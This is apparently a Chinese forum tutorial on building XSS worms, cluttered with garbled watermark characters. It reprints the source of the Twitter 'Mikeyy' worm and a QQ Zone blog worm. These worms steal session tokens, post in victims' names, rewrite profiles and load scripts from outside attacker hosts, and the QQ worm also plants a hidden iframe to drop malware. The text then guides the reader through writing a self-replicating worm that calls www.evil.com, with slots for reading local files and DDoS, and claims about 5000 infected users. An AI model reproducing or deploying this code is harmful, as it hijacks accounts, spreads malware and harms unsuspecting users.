复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
  }% B" r* Z- l3 n! {; Z第一版:
0 G/ n3 p' w9 D2 [  M4 N; B! ]0 k' F  下载 (5.1 KB)
% ^7 _0 ~# _. ]1 W+ B* ]/ l
6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

+ V- I* h; q0 M   3. function XHConn(){  
+ m4 j1 f% ]! d% `, M3 P
   4.   var _0x6687x2,_0x6687x3=false;  
+ ]& `- ]- |; |
" v: i+ z3 G. f   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

2 w. `7 U( V) B4 Z- W$ A   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
8 u/ W7 @) o; ^) x6 C0 I) B4 U
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
1 }: n( H& n' y4 ~4 y. b& Z
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
1 D5 r1 N; o: Y3 ^% ^8 Q
2 m7 Y! U% z2 K5 r& C$ t# _9 G4 u   2.   var content = document.documentElement.innerHTML;  
" c0 ^& M& L: B4 e
! R3 {. H1 h. v0 s+ {  i   3.   var tmp_cookie=document.cookie;  
" y5 N! e  w% J6 P' |# [
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

' d2 B  |  S, E   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
( v+ @" H! _' ?  Q4 H, n/ J) P
   8.   var randomUpdate= new Array();  
; ]- z' n- I+ @5 z( j
5 }" A! M9 `- f% w! V* F7 v' U: T   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
0 h2 n& Z" I0 t% x! r( b
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
( T5 C7 h! ?5 z# Q2 a9 h
7 {) N% n5 I( A8 H4 _  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
" W2 [) }2 K% ]0 w6 e
# |7 o9 `' N6 I" z3 Y! l0 B$ `  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
! T( z( ^7 ?' x: f7 u- a2 z7 s. {. {
* K- c" h- j& L! `5 e, B  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

0 u3 C; J% ]' p/ I9 ]5 I4 K/ ^  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
9 p7 I; V1 v3 A) @
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
4 r: Q1 x# O7 O
* O& M! q$ U% _; g& d0 Q! \  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
- U/ u* }+ A8 q. K
3 Q# T, i  X* k" Q  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

7 A7 f8 _' z) M  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
. v% s% e3 O$ F+ T* o4 r
0 Q8 F& a4 \* K4 N# A6 [/ ?7 v  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

' A" N$ x. F' z  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
) c8 S1 W/ S) F0 W
! o5 m+ u. G6 j; ~' R$ D  24.     
# W+ p: H! |* x+ T. T* }
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
6 ]- Z) d. q9 S7 v
* `4 L( w! Z# {+ X2 D  28.   var ajaxConn= new XHConn();  
% t- u$ a% y8 Z+ s! j  B7 U9 m
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
( c1 e5 _: ?* F: N& a
4 Q: p( D: Q! Q. U4 [3 M  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
+ h& O5 |* o+ k8 X/ p5 Q
, D6 o8 M8 T* \+ E  32.   var ajaxConn1= new XHConn();  
6 N' n# X; P% W' v& z& V& q
- d% `6 D' y- i* `# L# D. K! T  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

% Z/ g4 `# n2 G& Z  35.   var XSS=urlencode(genXSS);  

% d, }, T8 A# t4 @" j# I! c  36.   var ajaxConn2= new XHConn();  
6 v2 k! M1 X# ]
2 H. t% L* u* L) C3 l  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
( a4 J" q# y4 N, i* {  ]
  38.     
, y- b" l( S& u* V% o. n* r
  39. } ;  
3 @+ V6 v* U2 `: T$ a: O9 k# [
$ D8 m$ Q( }0 m% B" @2 J) S& w  40. setTimeout(wait(),5250);  
4 E2 ^. I4 T0 g复制代码QQ空间XSSfunction killErrors() {return true;}
' Y4 R9 ?, d0 g& X2 s! K
4 I" S: ]+ G1 s$ N4 D0 b1 Iwindow.onerror=killErrors;
1 U# m6 O# U' W$ T: s* S  C! G


7 d7 r& L- a9 `5 Lvar shendu;shendu=4;

//---------------global---v------------------------------------------

, h+ n3 ^4 W: ]: g//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

$ v8 s3 o/ s6 Ovar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
: r% }5 a) a) H' V8 o5 }
var myblogurl=new Array();var myblogid=new Array();
' o. {, s/ \$ m3 w# t% V# `5 n
        var gurl=document.location.href;
" F6 ?$ ^* M# \: q, U4 e% c/ U
6 `. a1 v( `, l( p( E# n8 L        var gurle=gurl.indexOf("com/");
' H' T  H+ [4 M: F( M7 ~3 \
        gurl=gurl.substring(0,gurle+3);        
7 k8 y# u) K  j  T6 l
% i  c8 x$ L; z' F        var visitorID=top.document.documentElement.outerHTML;
9 f) a  t# g  t' ]/ a' s
. I' q$ o" `" r4 K           var cookieS=visitorID.indexOf("g_iLoginUin = ");
* O$ ^$ w: X* u. {( y( P( h2 l7 Y" f
' [) o+ ]4 [- }  d) M        visitorID=visitorID.substring(cookieS+14);

) D* Z2 Y, Y; g' `) O+ b        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
. t2 [# N# B) I, L1 h- p" W
7 \$ j6 s& Y% \/ [# }+ s8 O        DOshuamy();

; o1 o2 Z* a4 c6 R. ?1 S2 v' F
: h# K8 P7 t& @9 H7 B+ H
//挂马
6 d& E3 A, D# |6 G0 S9 G8 m, I. M
5 s# T% n1 d* Nfunction DOshuamy(){

var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}



" a1 F8 N4 X: j//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
2 g. z% y  A/ y5 y$ h1 }2 v9 j5 @3 M
   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

$ K* I" {) G6 A  j/ }     get_my_blogurl(guest);    //执行这个函数

    }

6 n# c9 B6 T9 U: x1 _. y9 j0 C}


4 Z# |+ K5 A& k8 f, T3 C/ `1 M
% z1 L$ [2 _: Q//这里似乎是判断没有登录的

& H  G2 r+ g0 d; X- Ufunction get_my_blogurl(guest){

  var mybloglist=guest;
" i4 m% J# ^3 J$ W0 \3 b
9 g& l3 I! P( g( C4 O9 \- J1 _% i  var myurls;var blogids;var blogide;

' t9 j/ ^+ o0 I% v; ~- b  for(i=0;i<shendu;i++){
" C$ h$ d0 _( r  c
! ]$ J0 ^7 n* {     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

% B; ?% L7 _/ N6 K/ M5 V" [     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

7 {6 {& I1 w0 g         myurls=mybloglist.indexOf(')');
+ X$ w! H$ V5 N! ~' n/ b# W$ @
         myblogid=mybloglist.substring(0,myurls);
3 a# X% {3 @6 g/ D/ m$ T4 P: U7 _1 J2 }
        }else{break;}
1 V% F, H( z; `: ]5 x$ i& H
}
. \' |1 r6 ?$ R! R& `
get_my_testself();    //执行这个函数

}
  x' v0 `9 u. ~6 B: h


//这里往哪跳就不知道了

' c& H8 e4 Q, d* K2 J# Nfunction get_my_testself(){
: U) l/ ^" r9 B# q
) v) f% ~+ s7 p& p; F9 b  for(i=0;i<myblogid.length;i++){    //获得blogid的值
( ~7 r6 r. E0 o" i: W) [( h
# C' K" S+ v8 h2 {1 W+ R      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
5 w5 M# u% H' o, U8 K' \( Y$ W" N
4 N% u" E8 W/ ?4 t6 ?      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

+ X. t; Q: ]/ i1 d! U& ?4 f" Q! c# O              xhr2.open("GET",url,false);     //打开上面的那个url
1 D. z% r  V4 d
              xhr2.send();
, O8 P% S# k7 C& R+ a+ g
* M  v& g) \2 _% w3 o5 W0 U, e7 b              guest2=xhr2.responseText;
& d' U  C1 W( ]/ A" F
, I  p0 u4 @* F# Y" E2 s              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
! c, r# h5 Z; F
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
$ e6 {0 [/ s$ \$ V% k3 ~
                break;

' ~% |" e1 k5 Y% ?; `               }
6 L+ e1 }2 ]* p* r  o+ k; f) K
              if(mycheckit=="-1"){
/ ^) R& f" X  N1 e6 n6 M3 N: x
                targetblogurlid=myblogid;
/ Q" e# `. [7 J7 P0 s% {& b, l8 {
0 j* @% r: Q  _$ R1 h                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
. r" H0 y" D. ^$ m
8 [: N: C9 Q" v               }

        }      

}
; y" G7 @: M, A0 w  t
. L- d& Y- O' A; P  s4 p" c4 x7 H3 E}
5 A6 z7 c: Z+ u  F; _' @
7 l4 S" `- \: ~5 C" d0 E. L, J$ A
2 ~6 w/ k7 ]8 P& i
& t( c2 R/ J- P4 y+ \( p//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

, W% Y& Y1 G! tfunction createXMLHttpRequest(){

; b" S  f  ?6 O, D0 O* A    var XMLhttpObject=null;  
  ?; r& [" W: x4 t. _
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
9 x5 }% Y$ h/ ?) ]" b
1 Y1 o7 ~. E1 s( ]! f1 S+ I    else  

& o3 }% j/ u! O5 d" O      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

4 ?6 W5 U  {% m' ]/ A; f7 f        {  

            try  

8 B+ o6 _( `( u% Z* }! s& c0 h            {  
4 C, F( ~: ^% K: ~5 q8 Y- j/ h
  r) i* b0 e% h/ H# g, [                XMLhttpObject=new ActiveXObject(MSXML);  

/ ]8 B. R- p: a2 t1 Y7 g7 \: Y                break;  
2 ?; ~3 a9 C- M* G: h- G  B8 g3 D
            }  

            catch (ex) {  
1 p# H) ^, S% I
            }  

! a% y) v. }4 G" m         }  

      }

return XMLhttpObject;

}  


2 _) Z. c4 N- U  a( K9 }
& [/ E2 P" h+ K* ]3 J//这里就是感染部分了
9 z* c' h/ a6 f9 h& W9 l% ?& S) a
function add_js(visitorID,targetblogurlid,gurl){
9 c0 R0 t8 h/ o4 F7 h2 i( T; |
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
" f. ]9 i8 g4 o; A; v  F6 _
# n/ N; R, s% ]+ _s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}



function add_jsdel(visitorID,targetblogurlid,gurl){

. r' [# z( `( y3 n9 G; A! Gvar s2=document.createElement('script');
8 T3 T* v; }' B/ T0 _: ?0 z+ g1 J
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 |$ U3 {" g8 f$ \
- v. T4 g2 ~9 i3 w" g3 Zs2.type='text/javascript';
3 f8 F: \% m3 w/ _
document.getElementsByTagName('head').item(0).appendChild(s2);

  T' B6 K* q5 `; Q5 }4 c}
) q; l  U, ]' h复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
& e) L' E; {# K+ ^1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
3 [' j  _. P( H2 M: J& k
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

2 P: R5 r4 M9 I. q综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
6 U2 j# ~8 |" L% X0 {
if(window.XMLHttpRequest) {
/ D% j; V7 q+ N' Q+ i
1 r5 `9 Q# N3 G& v% G3 A. N7 Q: G" }4 Crequest = new XMLHttpRequest();

if(request.overrideMimeType) {
& H" E- l: Y9 h+ l& {% u2 U2 h
request.overrideMimeType('text/xml');
+ O3 a8 C2 s: Q8 v: `9 @
}
( l! n. ]* X/ W' }
3 B4 c' y( K# [. d9 O$ ]} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, H' B8 `' K/ y  z; y
/ @  f1 [7 j8 y* {for(var i=0; i<versions.length; i++) {

try {
. ^$ }# ^% N# C& b+ }
0 d" E$ t9 @; Q0 N  l/ Brequest = new ActiveXObject(versions);
0 T) l0 r4 d. y# X& Q1 [
} catch(e) {}

}
+ R, ~7 d! a4 r/ _8 B0 G5 b- c
: {; d0 v- v7 _; `. X( V}

. t' G: n& \' e+ E7 Q! ZxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

% H. y( b, Z3 h% ~        var Browser_Name=navigator.appName;

' p4 {9 R: j* v! b  r        var Browser_Version=parseFloat(navigator.appVersion);

7 n( C" v- i. a1 N' ^6 {) W! D        var Browser_Agent=navigator.userAgent;
# P" ~, y0 K  j
& v' |3 s7 c; H        
8 p2 t' n) T2 u0 |5 L. v
' e+ r* ~/ J* n& z0 D        var Actual_Version,Actual_Name;
3 w  v' P) @( k  \) Y( B% Q; g
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
5 U! }" {6 d- h6 |: C
. g1 S/ k4 K4 c' [1 {        var is_NN=(Browser_Name=="Netscape");

4 U- \* i* r( z+ J; N7 o        var is_Ch=(Browser_Name=="Chrome");
' c. a! `( H" D" o
        

, N! A& A. G7 U: h5 w, V& v        if(is_NN){

8 `6 E( I+ |) }" d1 {            if(Browser_Version>=5.0){
, h8 [3 a. `* I4 ?
- l& ~3 |9 [5 e                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

9 \4 Z1 d. S. u; H0 G. F                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


8 q4 q4 s6 x9 i5 E7 g* m
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
% c# ^$ x8 l$ U- g% l3 C$ e
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

) y/ E- ]$ x$ O2 h5 a8 Q7 |2 D            }
' i( w' [3 J9 H$ F1 L8 J
            else{

' i  [& j9 n, Y  ?                Actual_Version=Browser_Version;

  ~  {' q* D6 c5 q& S                Actual_Name=Browser_Name;

0 D1 E+ u4 t, F4 p$ ]) ~; ]            }
+ P- }& h: J# |3 d) j, H3 N
        }
4 ?% q+ X+ s1 `
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

" H5 W3 d0 t6 P! y- H& z            var Version_End=Browser_Agent.indexOf(";",Version_Start);
( T( R  G. a3 I
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
4 }6 T0 {0 G' Z* B
            Actual_Name=Browser_Name;
" c+ ]7 ?5 W9 W3 C( v1 l
            
1 X, o  T& ^) o* s1 G
            if(Browser_Agent.indexOf("Maxthon")!=-1){
, D" s% }: E8 X' ]) X: p6 d
                Actual_Name+="(Maxthon)";
5 ?1 A1 m0 G: c
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

  E2 w  V% _; j0 E3 p- e                Actual_Name="Opera";

7 f) g, F( \' V: r! H5 ?  Q5 D                var tempstart=Browser_Agent.indexOf("Opera");
+ z" P: c+ Q1 {0 c
! `9 N  a4 l' P4 x1 Y                var tempend=Browser_Agent.length;

6 V, b6 z0 z# g, X5 d                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
/ g, K' ?* A6 }/ r# q: z
            }
9 z2 e# Z/ e6 @+ k; ?
8 e; Y& x( A) l/ {" u4 ]        }
( P/ o) ?* o3 n
% ]$ y9 a, J5 D5 @! V% N/ w. `        else if(is_Ch){
9 k; ^9 [0 j" P( f! F1 E! _9 R
" F6 u' V1 e. T  J& B. _, B2 l3 d            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ U, s* q8 ]' Y. }1 e; y* ?
. i4 F5 B, f7 V' ?4 S            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
2 |1 p5 P% ~. F; j
            Actual_Name=Browser_Name;

% Q  q% r8 B4 {            
& k" W; a9 c: X, }$ H" p
            if(Browser_Agent.indexOf("Maxthon")!=-1){
( _* `( o' i$ j1 t& O8 E
                Actual_Name+="(Maxthon)";
' w1 e, j' |0 v# C8 {% b" h
            }
7 t, {2 |: G/ n8 o' n. ~
            else if(Browser_Agent.indexOf("Opera")!=-1){
4 j" H; j4 U/ g+ c; F
                Actual_Name="Opera";
5 J$ J* U2 t  ?0 \
: i' |3 K$ F0 K/ T6 R8 X/ o                var tempstart=Browser_Agent.indexOf("Opera");
" j+ F0 {" a  P8 v' ]" O  d
                var tempend=Browser_Agent.length;
4 A/ x6 t7 _& b& G; u
+ v9 l& P* i6 N; ~  l& D8 l                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% \# h% L* A7 K
            }

  ^6 n. ~- i" B- O        }

+ \" T8 F8 h1 ?        else{

            Actual_Name="Unknown Navigator"
" D( x& G) Z) }7 u
            Actual_Version="Unknown Version"

        }
$ s5 }$ i2 P; c  M/ m3 E; P
8 B% m- Z9 v! w. `" {: G) t

7 ^2 H/ v) Z8 |2 U* I% {# E! X0 j        navigator.Actual_Name=Actual_Name;
- {5 h8 X. K$ i. j4 S" S
/ H; G2 _9 K1 p* v        navigator.Actual_Version=Actual_Version;

        
! l* ~6 M6 b- t6 C9 E) _
& W) i8 L+ L& |! t) y2 Y        this.Name=Actual_Name;

; E: g6 P# |( i% |3 @& U2 C% V        this.Version=Actual_Version;
# X1 ^- Z; m9 J; m# K  t; M& K
6 B6 o- a. b+ X0 W" O    }
3 k' j+ L* \' d4 V& t/ F4 [9 @8 B
    browserinfo();
% I7 q4 o0 I) i& x8 H
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
5 e% k- X* Z1 q
$ a; u6 d* f9 C5 T- v    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
8 y1 N; f# q* B  O: g5 n! G
" q4 y$ G! ~1 R3 s8 O    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
3 r  V) d0 U# L& x( l; `复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ _2 m$ ]3 U) F/ V9 h* B* u' g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
. {, o  z; D6 j" Y" z0 C3 p
0 a+ `3 E$ S" avar resource = xmlHttpReq.responseText;
9 i1 k6 x$ Q  `
% m2 g4 M1 b- ~* \. N- m8 svar id=0;var result;
3 L! \" i3 n/ p* x- {8 b9 U
/ M" V, c) u* ^5 |# E2 C; Gvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

" M7 G4 y9 `' V: Cwhile ((result = patt.exec(resource)) != null)  {

id++;
9 W5 u2 p* K! D8 C. M6 }/ U
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

% `8 h3 O( t) ^) Bno=resource.search(/my name is/);
' t7 u/ _* {- Z5 y: c# K. i# b
! N$ d! B% R) svar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
2 q1 p% f6 \5 H) M$ ~
" Z. X, W8 E8 s/ N6 Nvar post="wd="+wd;
! L1 D9 A4 g7 S. S9 ^( n
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
) U: w+ L/ l- {5 ]
/ U% P  W  }% T8 BxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
1 l9 }  N2 H! P. @5 v4 h
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
) Q( g( D, {( A/ t2 I+ b
% ?0 F1 M. V* B: |! KxmlHttpReq.send(post);
3 m  m# {) U; x$ q. j
2 @/ E1 o. U  W6 i  x/ X}
. x( Q5 j2 t3 u* I8 L复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
+ B9 c, Y( r) I
4 R9 C( @8 P: I2 Rvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
+ z/ D/ D. A1 Y5 l5 @5 w4 e) q
( T4 C3 N' I7 c$ r% c0 i: K3 mvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
. M  R; d" o9 a% z
  @3 \# Q7 q, }% b6 |: ]$ Ovar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

5 z6 A8 ?: `2 n& k6 {! Bvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

( Y- A" [$ {7 e% YxmlHttpReq.setRequestHeader("content-length",post.length);

0 ^. V$ G; Y( ?* YxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
! }* b: Y7 i3 l* \. t
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
9 N% M& `; y3 u& d3 }7 ]" r复制代码-----------------------------------------------------总结-------------------------------------------------------------------

# n# j; ]7 T) [6 W

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
( s) Y3 s, b' \5 b
$ l5 v* M1 d& L1 H0 i' V9 u  b" k
* G8 @  q- q4 u1 n2 v- V

' ]& b! t6 `# W' N3 T
; K" h. Z% t" o# ]
) C+ a4 _: T6 \. Y/ M4 ]: U  I, p

本文引用文档资料:
# @1 E4 T# j- i3 B/ p& I
3 e: `, |5 S0 _$ h, v" s% R5 @"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
' `/ [1 m% K$ z% u: bXeye Team http://xeye.us/